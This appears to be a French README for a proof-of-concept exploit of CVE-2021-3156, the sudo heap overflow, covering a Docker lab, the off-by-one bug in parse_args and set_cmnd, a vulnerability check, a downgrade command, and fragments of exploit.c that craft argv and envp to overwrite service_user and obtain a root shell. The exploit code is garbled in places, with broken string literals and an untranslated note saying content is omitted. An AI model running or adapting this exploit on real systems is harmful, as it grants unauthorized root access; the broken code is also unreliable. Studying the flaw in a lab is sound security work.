
version corrigée
Créer l'image avec Dockerfille
docker build -t cve-2021-3156:ubuntu2004 .
Créer un conteneur à partir de l'image
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Dans les versions antérieures à Sudo 1.9.5p2, il existe une erreur off-by-one qui peut conduire à un débordement de tampon basé sur le tas.
Un attaquant peut élever ses privilèges à root sans mot de passe en exécutant :
sudoedit -s <argument se terminant par une barre oblique inverse `\`>
Prenons l'exemple du code source de sudo version 1.8.31p1 : lors de l'exécution de sudoedit -s, si une entrée contient le caractère d'échappement \, la fonction parse_args du fichier parse_args.c est d'abord appelée pour échapper les caractères de la commande. Le code ci-dessous se charge d'échapper les caractères spéciaux saisis.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
Ensuite, avant de sauvegarder les arguments saisis en externe dans l'espace tas ou pile de la mémoire, le programme appelle la fonction set_cmnd du fichier sudoers.c pour copier les arguments de la ligne de commande dans la mémoire du tas. Cette opération nécessite l'utilisation du code suivant pour supprimer tous les caractères d'échappement \.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
Le problème est que : lorsque parse_args n'échappe pas les arguments (c'est-à-dire qu'aucun \ supplémentaire n'est inséré), le programme entre ensuite quand même dans la fonction set_cmnd pour supprimer les échappements. Cependant, comme l'entrée \ n'a pas été échappée, une fois dans set_cnmd, la condition du if est satisfaite : le \ est sauté et les arguments qui suivent le \ sont copiés dans user_args. Si le contenu copié est alors trop long, un débordement de tas se produit.
L'exploit se compose de deux parties : exploit.c et shellcode.c. exploit.c est chargé de construire argv et envp, d'appeler sudoedit via execve et d'exploiter la vulnérabilité par débordement de tas.
exploit.c, le programme construit un tampon (buf) de taille 0xf0 pour contrôler précisément la disposition du tas et utilise le débordement du tampon pour écraser les structures critiques. La taille du débordement est contrôlée par le remplissage de buf ('Y' et \), puis sudoedit est appelé via execve pour déclencher la vulnérabilité. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* pour ajuster le tas. Grâce à la disposition de ces variables d'environnement, la structure cible service_user est allouée sur le chemin du débordement. Les données du débordement sont transmises via la variable d'environnement overflow et écrasent les champs de la structure service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp construit, les données de débordement sont transmises à sudoedit, écrasant ainsi la structure cible et réalisant l'exploitation. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 省略部分内容
NULL};
sudoedit est déclenchée via l'appel execve. execve("/usr/bin/sudoedit", argv, envp);
Testé sur Ubuntu 20.04, pour sudo 1.8.31
Vous pouvez vérifier si votre version de sudo est vulnérable avec la commande suivante :
$ sudoedit -s Y
Si une invite de mot de passe s'affiche, la version est très probablement vulnérable ; si des informations d'utilisation s'affichent, la version n'est pas vulnérable.
Vous pouvez rétrograder sudo sur Ubuntu 20.04 vers une version vulnérable pour tester avec la commande suivante :
$ sudo apt install sudo=1.8.31-1ubuntu1
Utilisation
Exécutez make pour compiler puis lancez l'exploit :
$ make
$ ./exploit
Après une exploitation réussie, un shell root interactif est obtenu, permettant d'exécuter des opérations privilégiées.
